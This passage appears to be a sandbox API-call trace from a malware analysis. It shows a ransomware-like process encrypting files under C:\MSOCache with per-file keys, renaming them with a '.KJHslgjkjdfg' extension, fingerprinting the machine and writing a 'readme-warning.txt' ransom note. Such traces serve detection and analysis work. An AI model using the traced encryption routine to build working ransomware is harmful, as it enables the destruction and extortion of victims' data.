lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0157.541] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0157.541] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0157.541] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.541] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x10676, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0x10676, lpOverlapped=0x0) returned 1 [0157.542] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x10680, dwBufLen=0x10680 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x10680) returned 1 [0157.543] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.543] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x10680, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0x10680, lpOverlapped=0x0) returned 1 [0157.544] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0157.544] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x10744, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.544] SetEndOfFile (hFile=0x124) returned 1 [0157.546] GetProcessHeap () returned 0x990000 [0157.546] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0157.546] GetProcessHeap () returned 0x990000 [0157.546] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0157.546] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm.kjhslgjkjdfg")) returned 1 [0157.547] CloseHandle (hObject=0x124) returned 1 [0157.547] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0157.547] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0157.548] GetProcessHeap () returned 0x990000 [0157.548] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0157.548] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0157.548] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0157.548] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0157.551] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0157.551] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0157.551] GetProcessHeap () returned 0x990000 [0157.551] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0157.551] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df4e0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df4e0*=0x30) returned 1 [0157.551] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0157.551] WriteFile (in: hFile=0x124, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df4f8*=0x30, lpOverlapped=0x0) returned 1 [0157.551] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0157.551] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0157.551] WriteFile (in: hFile=0x124, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0157.551] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0157.552] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0157.552] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0157.552] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0157.552] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.552] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2488, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0x2488, lpOverlapped=0x0) returned 1 [0157.553] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x2490, dwBufLen=0x2490 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x2490) returned 1 [0157.553] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.553] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2490, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0x2490, lpOverlapped=0x0) returned 1 [0157.553] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0157.553] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2554, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.553] SetEndOfFile (hFile=0x124) returned 1 [0157.556] GetProcessHeap () returned 0x990000 [0157.556] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0157.556] GetProcessHeap () returned 0x990000 [0157.556] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0157.556] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml.kjhslgjkjdfg")) returned 1 [0157.559] CloseHandle (hObject=0x124) returned 1 [0157.559] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x131a1c00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x131a1c00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ShellUI.MST", cAlternateFileName="")) returned 1 [0157.559] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0157.560] GetProcessHeap () returned 0x990000 [0157.560] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0157.560] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0157.560] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0157.561] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0157.561] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0157.561] GetProcessHeap () returned 0x990000 [0157.561] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0157.561] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40) returned 1 [0157.561] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0157.561] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f8*=0x40, lpOverlapped=0x0) returned 1 [0157.563] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0157.563] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0157.563] WriteFile (in: hFile=0x124, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0157.563] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0157.564] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0157.564] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0157.564] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0157.564] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.564] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0xe00, lpOverlapped=0x0) returned 1 [0157.564] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0xe00, dwBufLen=0xe00 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0xe00) returned 1 [0157.564] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.564] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xe00, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0xe00, lpOverlapped=0x0) returned 1 [0157.564] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0157.564] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.564] SetEndOfFile (hFile=0x124) returned 1 [0157.567] GetProcessHeap () returned 0x990000 [0157.567] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0157.567] GetProcessHeap () returned 0x990000 [0157.567] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0157.567] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst.kjhslgjkjdfg")) returned 1 [0157.568] CloseHandle (hObject=0x124) returned 1 [0157.568] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x131a1c00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x131a1c00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ShellUI.MST", cAlternateFileName="")) returned 0 [0157.568] GetProcessHeap () returned 0x990000 [0157.568] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0157.568] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0157.568] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29df330 | out: pbData=0x9af7b0, pdwDataLen=0x29df330) returned 1 [0157.568] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0157.568] GetProcessHeap () returned 0x990000 [0157.568] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0157.568] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0157.568] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29df330 | out: pbData=0x9af7f8, pdwDataLen=0x29df330) returned 1 [0157.568] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0157.568] GetProcessHeap () returned 0x990000 [0157.569] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9dc8a8 [0157.569] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0157.569] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9dc8a8, pdwDataLen=0x29df330 | out: pbData=0x9dc8a8, pdwDataLen=0x29df330) returned 1 [0157.569] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0157.569] GetProcessHeap () returned 0x990000 [0157.569] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0157.569] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0157.569] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29def10 | out: pbData=0x9af840, pdwDataLen=0x29def10) returned 1 [0157.569] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0157.569] GetProcessHeap () returned 0x990000 [0157.569] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b1918 [0157.569] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0157.569] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b1918, pdwDataLen=0x29def10 | out: pbData=0x9b1918, pdwDataLen=0x29def10) returned 1 [0157.569] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0157.569] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29def0c | out: phkResult=0x29def0c*=0x124) returned 0x0 [0157.569] RegQueryValueExA (in: hKey=0x124, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29def18, lpcbData=0x29def14*=0x400 | out: lpType=0x0, lpData=0x29def18*=0x30, lpcbData=0x29def14*=0x18) returned 0x0 [0157.570] RegCloseKey (hKey=0x124) returned 0x0 [0157.570] GetProcessHeap () returned 0x990000 [0157.570] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0157.570] GetProcessHeap () returned 0x990000 [0157.570] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1918 | out: hHeap=0x990000) returned 1 [0157.570] GetProcessHeap () returned 0x990000 [0157.570] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b1918 [0157.570] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dec80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0157.570] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b1918, pdwDataLen=0x29dece4 | out: pbData=0x9b1918, pdwDataLen=0x29dece4) returned 1 [0157.570] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0157.570] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29dece8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0157.570] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29dece0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29dece0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0157.570] GetProcessHeap () returned 0x990000 [0157.570] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1918 | out: hHeap=0x990000) returned 1 [0157.570] wsprintfA (in: param_1=0x29def2f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0157.570] wsprintfA (in: param_1=0x29df33c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0157.570] GetProcessHeap () returned 0x990000 [0157.570] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0157.571] wsprintfW (in: param_1=0x29de30c, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\readme-warning.txt") returned 81 [0157.571] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\readme-warning.txt" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0157.571] WriteFile (in: hFile=0x124, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29de308, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29de308*=0x3b3, lpOverlapped=0x0) returned 1 [0157.572] CloseHandle (hObject=0x124) returned 1 [0157.572] GetProcessHeap () returned 0x990000 [0157.572] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dc8a8 | out: hHeap=0x990000) returned 1 [0157.572] GetProcessHeap () returned 0x990000 [0157.572] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0157.573] GetProcessHeap () returned 0x990000 [0157.573] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0157.573] GetProcessHeap () returned 0x990000 [0157.573] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0157.573] FindClose (in: hFindFile=0x9b6528 | out: hFindFile=0x9b6528) returned 1 [0157.573] GetProcessHeap () returned 0x990000 [0157.573] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dc610 | out: hHeap=0x990000) returned 1 [0157.573] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{90140000-0117-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9AFC7~1")) returned 1 [0157.573] GetProcessHeap () returned 0x990000 [0157.573] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8e) returned 0x9b2468 [0157.573] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6528 [0157.605] GetProcessHeap () returned 0x990000 [0157.605] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0157.605] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0157.605] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Access.en-us", cAlternateFileName="ACCESS~1.EN-")) returned 1 [0157.605] GetProcessHeap () returned 0x990000 [0157.606] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x290) returned 0x9dc610 [0157.606] GetProcessHeap () returned 0x990000 [0157.606] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0xa8) returned 0x9b2468 [0157.606] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\*.*", lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b64e8 [0157.628] GetProcessHeap () returned 0x990000 [0157.628] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0157.628] FindNextFileW (in: 